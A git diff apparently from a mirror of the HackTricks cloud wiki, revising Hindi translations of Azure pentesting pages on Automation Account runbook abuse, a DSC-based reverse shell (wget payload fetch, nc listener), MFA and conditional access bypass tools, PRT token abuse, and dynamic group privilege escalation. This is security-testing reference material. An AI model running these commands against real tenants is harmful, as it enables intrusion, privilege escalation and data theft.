mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-17 23:25:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
@@ -17,11 +17,11 @@
|
||||
इसके अलावा, यदि हाइब्रिड वर्कर Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचान को मेटाडेटा सेवा से** एक्सेस कर सकेगा।
|
||||
|
||||
> [!TIP]
|
||||
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा की तुलना में जहां से ऑटोमेशन खाते की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**).
|
||||
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहां से ऑटोमेशन खाते की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
संक्षेप में, ये अनुमतियाँ **ऑटोमेशन खाते में रनबुक बनाने, संशोधित करने और चलाने** की अनुमति देती हैं, जिसका उपयोग आप **ऑटोमेशन खाते के संदर्भ में कोड निष्पादित करने** और असाइन की गई **प्रबंधित पहचान** के लिए विशेषाधिकार बढ़ाने और ऑटोमेशन खाते में संग्रहीत **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** को लीक करने के लिए कर सकते हैं।
|
||||
संक्षेप में, ये अनुमतियाँ **ऑटोमेशन खाते में रनबुक बनाने, संशोधित करने और चलाने** की अनुमति देती हैं, जिसे आप **ऑटोमेशन खाते के संदर्भ में कोड निष्पादित करने** और असाइन की गई **प्रबंधित पहचान** के लिए विशेषाधिकार बढ़ाने और ऑटोमेशन खाते में संग्रहीत **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** को लीक करने के लिए उपयोग कर सकते हैं।
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ऑटोमेशन खाते में एक रनबुक के कोड को संशोधित करने की अनुमति देती है:
|
||||
```bash
|
||||
@@ -127,9 +127,9 @@ az rest --method PUT \
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के भीतर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है।
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के अंदर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है।
|
||||
|
||||
ध्यान दें कि आपको **webhook URI** को टोकन के साथ इंगित करने की आवश्यकता होगी।
|
||||
ध्यान दें कि आपको उपयोग करने के लिए टोकन के साथ **webhook URI** को **संकेत** करना होगा।
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
@@ -153,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
बस `Microsoft.Automation/automationAccounts/runbooks/draft/write` अनुमति के साथ, **एक Runbook का कोड अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना।
|
||||
केवल `Microsoft.Automation/automationAccounts/runbooks/draft/write` अनुमति के साथ, **एक Runbook का कोड अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना।
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
यह अनुमति उपयोगकर्ता को **Automation Account** के लिए एक स्रोत नियंत्रण को कॉन्फ़िगर करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह उदाहरण के लिए Github का उपयोग करता है):
|
||||
यह अनुमति उपयोगकर्ता को Automation Account के लिए **एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह Github को उदाहरण के रूप में उपयोग करता है):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -194,9 +194,9 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करना **संभव है कि विशेषाधिकार बढ़ाए जा सकें**।
|
||||
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करना **संभव है कि विशेषाधिकार बढ़ाए जाएं**।
|
||||
|
||||
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण कार्य करने के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी को **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** वेरिएबल में निर्दिष्ट किया जाना चाहिए।
|
||||
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण काम करने के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी को **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** वेरिएबल में निर्दिष्ट किया जाना चाहिए।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है।
|
||||
@@ -219,7 +219,7 @@ az rest --method PUT \
|
||||
```
|
||||
### कस्टम रनटाइम वातावरण
|
||||
|
||||
यदि एक ऑटोमेशन खाता एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज लोड होता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा।
|
||||
यदि एक ऑटोमेशन खाता एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज को लोड करता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा।
|
||||
|
||||
### राज्य कॉन्फ़िगरेशन का समझौता करना
|
||||
|
||||
@@ -228,7 +228,7 @@ az rest --method PUT \
|
||||
- चरण 1 — फ़ाइलें बनाएं
|
||||
|
||||
**आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट की आवश्यकता है:
|
||||
1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाती और निष्पादित करती है। यह [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त की जा सकती है।
|
||||
1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाने और निष्पादित करने के लिए है। यह [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकता है।
|
||||
2. `push_reverse_shell_config.ps1`: एक स्क्रिप्ट जो कॉन्फ़िगरेशन को VM पर प्रकाशित करती है, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है।
|
||||
|
||||
**कस्टमाइजेशन:** इन फ़ाइलों में वेरिएबल और पैरामीटर को उपयोगकर्ता के विशिष्ट वातावरण के अनुसार अनुकूलित किया जाना चाहिए, जिसमें संसाधन नाम, फ़ाइल पथ, और सर्वर/पेलोड पहचानकर्ता शामिल हैं।
|
||||
@@ -236,13 +236,13 @@ az rest --method PUT \
|
||||
- चरण 2 — कॉन्फ़िगरेशन फ़ाइल को ज़िप करें
|
||||
|
||||
`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure स्टोरेज खाते में स्थानांतरित करने के लिए तैयार किया जा सके।
|
||||
```powershell
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Step 3 — स्टोरेज संदर्भ सेट करें और अपलोड करें
|
||||
- Step 3 — सेट स्टोरेज कॉन्टेक्स्ट और अपलोड करें
|
||||
|
||||
ज़िप किया गया कॉन्फ़िगरेशन फ़ाइल एक पूर्वनिर्धारित Azure स्टोरेज कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है।
|
||||
```powershell
|
||||
ज़िप किया गया कॉन्फ़िगरेशन फ़ाइल को एक पूर्वनिर्धारित Azure स्टोरेज कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है।
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Step 4 — Prep Kali Box
|
||||
@@ -259,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
|
||||
- Step 6 — Host Payload and Setup Listener
|
||||
|
||||
पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर।
|
||||
पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर भी।
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Conditional Access नीतियाँ Microsoft Azure में नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों तक पहुँच नियंत्रण लागू करने के लिए स्थापित की गई हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।\
|
||||
Conditional access नीतियाँ मूल रूप से **यह परिभाषित करती हैं** कि **कौन** **क्या** **कहाँ** और **कैसे** पहुँच सकता है।
|
||||
Azure Conditional Access नीतियाँ Microsoft Azure में नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों तक पहुँच नियंत्रण लागू करने के लिए स्थापित की जाती हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।\
|
||||
Conditional access नीतियाँ मूल रूप से **यह परिभाषित करती हैं** **कौन** **क्या** **कहाँ** और **कैसे** पहुँच सकता है।
|
||||
|
||||
यहाँ कुछ उदाहरण दिए गए हैं:
|
||||
|
||||
1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, जैसे कि जब किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य होता है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है।
|
||||
1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, जैसे कि जब एक उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य होता है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है।
|
||||
2. **डिवाइस अनुपालन नीति**: यह नीति केवल उन उपकरणों तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं।
|
||||
|
||||
## Conditional Access Policies Bypasses
|
||||
@@ -25,13 +25,13 @@ Conditional access नीतियाँ मूल रूप से **यह प
|
||||
- **Microsoft जोखिम**: उपयोगकर्ता जोखिम, साइन-इन जोखिम, अंदरूनी जोखिम
|
||||
- **डिवाइस प्लेटफार्म**: कोई भी डिवाइस या Android, iOS, Windows phone, Windows, macOS, Linux का चयन करें
|
||||
- यदि "कोई भी डिवाइस" का चयन नहीं किया गया है लेकिन सभी अन्य विकल्प चुने गए हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है
|
||||
- **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "एक्सचेंज एक्टिवसिंक क्लाइंट" और "अन्य क्लाइंट"
|
||||
- **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "एक्सचेंज एक्टिवसिंक क्लाइंट" और अन्य क्लाइंट"
|
||||
- एक न चुने गए विकल्प के साथ लॉगिन बायपास करने के लिए
|
||||
- **डिवाइस के लिए फ़िल्टर**: उपयोग किए गए डिवाइस से संबंधित एक नियम उत्पन्न करना संभव है
|
||||
- **प्रमाणीकरण प्रवाह**: विकल्प हैं "डिवाइस कोड प्रवाह" और "प्रमाणीकरण स्थानांतरण"
|
||||
- यह एक हमलावर को प्रभावित नहीं करेगा जब तक कि वह पीड़ित के खाते तक पहुँचने के लिए फ़िशिंग प्रयास में इनमें से किसी भी प्रोटोकॉल का दुरुपयोग करने की कोशिश नहीं कर रहा हो
|
||||
|
||||
संभावित **परिणाम** हैं: ब्लॉक या पहुँच प्रदान करना संभावित शर्तों के साथ जैसे MFA की आवश्यकता, डिवाइस का अनुपालन होना...
|
||||
संभावित **परिणाम** हैं: ब्लॉक या पहुँच प्रदान करें जिसमें संभावित शर्तें जैसे MFA की आवश्यकता, डिवाइस का अनुपालन...
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
|
||||
@@ -52,14 +52,14 @@ Conditional access नीतियाँ मूल रूप से **यह प
|
||||
|
||||
### Cloud Apps
|
||||
|
||||
यह संभव है कि **विशिष्ट ऐप** तक पहुँचने के लिए एक उपयोगकर्ता MFA को ब्लॉक या मजबूर करने के लिए **conditional access policies** को कॉन्फ़िगर किया जाए:
|
||||
यह संभव है कि **विशिष्ट ऐप** तक पहुँचने का प्रयास करते समय **कंडीशनल एक्सेस नीतियों को ब्लॉक या मजबूर** किया जाए, जैसे कि MFA:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
इस सुरक्षा को बायपास करने के लिए आपको देखना चाहिए कि क्या आप **किसी भी एप्लिकेशन में केवल लॉगिन कर सकते हैं**।\
|
||||
उपकरण [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) में **दर्जनों एप्लिकेशन आईडी हार्डकोडेड** हैं और यह उनमें लॉगिन करने की कोशिश करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा।
|
||||
इस सुरक्षा को बायपास करने के लिए आपको देखना चाहिए कि क्या आप **केवल किसी भी एप्लिकेशन में** लॉगिन कर सकते हैं।\
|
||||
उपकरण [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) में **दर्जनों एप्लिकेशन आईडी हार्डकोडेड** हैं और यह उनमें लॉगिन करने का प्रयास करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा।
|
||||
|
||||
विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए** आप इस तरह के उपकरण का भी उपयोग कर सकते हैं:
|
||||
विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए** आप एक उपकरण का उपयोग कर सकते हैं जैसे:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
@@ -69,7 +69,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
|
||||
|
||||
उपकरण [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) को भी समान उद्देश्यों के लिए उपयोग किया जा सकता है हालांकि यह अप्रबंधित लगता है।
|
||||
|
||||
उपकरण [**ROPCI**](https://github.com/wunderwuzzi23/ropci) का उपयोग भी इन सुरक्षा उपायों का परीक्षण करने और यह देखने के लिए किया जा सकता है कि क्या MFAs या ब्लॉकों को बायपास करना संभव है, लेकिन यह उपकरण **whitebox** दृष्टिकोण से काम करता है। आपको पहले टेनेट में अनुमत ऐप्स की सूची डाउनलोड करनी होगी और फिर यह उनमें लॉगिन करने की कोशिश करेगा।
|
||||
उपकरण [**ROPCI**](https://github.com/wunderwuzzi23/ropci) का उपयोग इन सुरक्षा उपायों का परीक्षण करने और यह देखने के लिए किया जा सकता है कि क्या MFAs या ब्लॉकों को बायपास करना संभव है, लेकिन यह उपकरण **whitebox** दृष्टिकोण से काम करता है। आपको पहले टेनेट में अनुमत ऐप्स की सूची डाउनलोड करनी होगी और फिर यह उनमें लॉगिन करने की कोशिश करेगा।
|
||||
|
||||
## अन्य Az MFA बायपास
|
||||
|
||||
@@ -78,14 +78,14 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
|
||||
एक Azure MFA विकल्प है **कॉन्फ़िगर किए गए फोन नंबर पर कॉल प्राप्त करना** जहां उपयोगकर्ता से **चर `#` भेजने** के लिए कहा जाएगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> चूंकि चर केवल **स्वर** हैं, एक हमलावर **फोन नंबर** के **वॉइसमेल** संदेश को **समझौता** कर सकता है, संदेश के रूप में **`#` का स्वर** कॉन्फ़िगर कर सकता है और फिर, जब MFA का अनुरोध किया जाता है, तो सुनिश्चित करें कि **पीड़ित का फोन व्यस्त है** (इसे कॉल करके) ताकि Azure कॉल वॉइसमेल पर रीडायरेक्ट हो जाए।
|
||||
> चरों के रूप में केवल **स्वर** होते हैं, एक हमलावर **फोन नंबर** के **वॉइसमेल** संदेश को **समझौता** कर सकता है, संदेश के रूप में **`#` का स्वर** कॉन्फ़िगर कर सकता है और फिर, जब MFA का अनुरोध किया जाता है, तो सुनिश्चित करें कि **शिकार का फोन व्यस्त है** (इसे कॉल करके) ताकि Azure कॉल वॉइसमेल पर रीडायरेक्ट हो जाए।
|
||||
|
||||
### अनुपालन उपकरण
|
||||
|
||||
नीतियाँ अक्सर एक अनुपालन उपकरण या MFA की मांग करती हैं, इसलिए एक **हमलावर एक अनुपालन उपकरण पंजीकृत कर सकता है**, एक **PRT** टोकन प्राप्त कर सकता है और **इस तरह MFA को बायपास कर सकता है**।
|
||||
|
||||
एक **अनुपालन उपकरण को Intune में पंजीकृत करने** से शुरू करें, फिर **PRT प्राप्त करें**:
|
||||
```powershell
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
|
||||
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
यह स्क्रिप्ट कुछ उपयोगकर्ता क्रेडेंशियल प्राप्त करती है और जांचती है कि क्या यह कुछ अनुप्रयोगों में लॉगिन कर सकती है।
|
||||
|
||||
यह उपयोगी है यह देखने के लिए कि क्या आपको कुछ अनुप्रयोगों में लॉगिन करने के लिए **MFA की आवश्यकता नहीं है** जिसे आप बाद में **privileges बढ़ाने** के लिए दुरुपयोग कर सकते हैं।
|
||||
यह उपयोगी है यह देखने के लिए कि क्या आप **कुछ अनुप्रयोगों में लॉगिन करने के लिए MFA की आवश्यकता नहीं है** जिसे आप बाद में **privileges बढ़ाने** के लिए दुरुपयोग कर सकते हैं।
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
@@ -116,7 +116,7 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep एक PowerShell स्क्रिप्ट है जो **प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है**। यह इस पर निर्भर करता है कि कैसे कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः एकल कारक के रूप में रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है।
|
||||
MFASweep एक PowerShell स्क्रिप्ट है जो **प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है**। यह इस पर निर्भर करता है कि कैसे कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः सिंगल फैक्टर रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है।
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
@@ -135,26 +135,26 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token एक सेट है फ़ंक्शंस का जो सुरक्षा सलाहकारों की मदद करने के लिए है जिन्हें Conditional Access Policies को मान्य करना है, 2FA-सक्षम Microsoft पोर्टल के लिए परीक्षण करना है, आदि।
|
||||
Donkey token एक सेट फ़ंक्शंस का है जिसका उद्देश्य सुरक्षा सलाहकारों की मदद करना है जिन्हें Conditional Access Policies को मान्य करने, 2FA-सक्षम Microsoft पोर्टलों के लिए परीक्षण करने आदि की आवश्यकता होती है।
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**प्रत्येक पोर्टल का परीक्षण करें** कि क्या **MFA के बिना लॉगिन करना संभव है**:
|
||||
```powershell
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
क्योंकि **Azure** **पोर्टल** **सीमित** नहीं है, इसलिए **पोर्टल एंडपॉइंट से किसी भी सेवा तक पहुँचने के लिए एक टोकन इकट्ठा करना संभव है जो पिछले निष्पादन द्वारा पता लगाया गया था**। इस मामले में Sharepoint की पहचान की गई, और इसे एक्सेस करने के लिए एक टोकन का अनुरोध किया गया:
|
||||
```powershell
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
मान लीजिए कि टोकन के पास Sites.Read.All (Sharepoint से) की अनुमति है, भले ही आप MFA के कारण वेब से Sharepoint तक पहुँच नहीं पा रहे हैं, फिर भी आप उत्पन्न टोकन के साथ फ़ाइलों तक पहुँचने के लिए टोकन का उपयोग कर सकते हैं:
|
||||
```powershell
|
||||
मान लीजिए कि टोकन में Sites.Read.All (Sharepoint से) की अनुमति है, भले ही आप MFA के कारण वेब से Sharepoint तक पहुँच नहीं पा रहे हैं, फिर भी आप उत्पन्न टोकन के साथ फ़ाइलों तक पहुँचने के लिए टोकन का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**डायनामिक समूह** वे समूह हैं जिनमें एक सेट **नियम** कॉन्फ़िगर किए गए हैं और सभी **उपयोगकर्ता या उपकरण** जो नियमों से मेल खाते हैं, समूह में जोड़े जाते हैं। हर बार जब एक उपयोगकर्ता या उपकरण का **गुण** **बदला** जाता है, डायनामिक नियमों की **पुनः जांच** की जाती है। और जब एक **नया नियम** **बनाया** जाता है, तो सभी उपकरणों और उपयोगकर्ताओं की **जांच** की जाती है।
|
||||
**डायनामिक समूह** वे समूह हैं जिनमें एक सेट **नियम** कॉन्फ़िगर किया गया है और सभी **उपयोगकर्ता या उपकरण** जो नियमों से मेल खाते हैं, समूह में जोड़े जाते हैं। हर बार जब एक उपयोगकर्ता या उपकरण का **गुण** **बदला** जाता है, डायनामिक नियमों की **पुनः जांच** की जाती है। और जब एक **नया नियम** **बनाया** जाता है, तो सभी उपकरणों और उपयोगकर्ताओं की **जांच** की जाती है।
|
||||
|
||||
डायनामिक समूहों को **Azure RBAC भूमिकाएँ सौंपित** की जा सकती हैं, लेकिन डायनामिक समूहों में **AzureAD भूमिकाएँ** जोड़ना **संभव नहीं** है।
|
||||
|
||||
@@ -22,8 +22,8 @@
|
||||
- **नियम विवरण**: कोई भी मेहमान उपयोगकर्ता जिसके पास 'security' स्ट्रिंग वाला एक द्वितीयक ईमेल है, समूह में जोड़ा जाएगा
|
||||
|
||||
मेहमान उपयोगकर्ता ईमेल के लिए, निमंत्रण स्वीकार करें और [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) में **उस उपयोगकर्ता** की वर्तमान सेटिंग्स की जांच करें।\
|
||||
दुर्भाग्यवश, पृष्ठ गुण मानों को संशोधित करने की अनुमति नहीं देता है, इसलिए हमें API का उपयोग करना होगा:
|
||||
```powershell
|
||||
दुर्भाग्यवश, पृष्ठ गुण मानों को संशोधित करने की अनुमति नहीं देता है, इसलिए हमें API का उपयोग करने की आवश्यकता है:
|
||||
```bash
|
||||
# Login with the gust user
|
||||
az login --allow-no-subscriptions
|
||||
|
||||
@@ -41,7 +41,7 @@ az rest --method GET \
|
||||
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
|
||||
--query "otherMails"
|
||||
```
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## VMS & Network
|
||||
|
||||
Azure Virtual Machines और Network के बारे में अधिक जानकारी के लिए देखें:
|
||||
Azure वर्चुअल मशीनों और नेटवर्क के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
@@ -12,8 +12,8 @@ Azure Virtual Machines और Network के बारे में अधिक
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
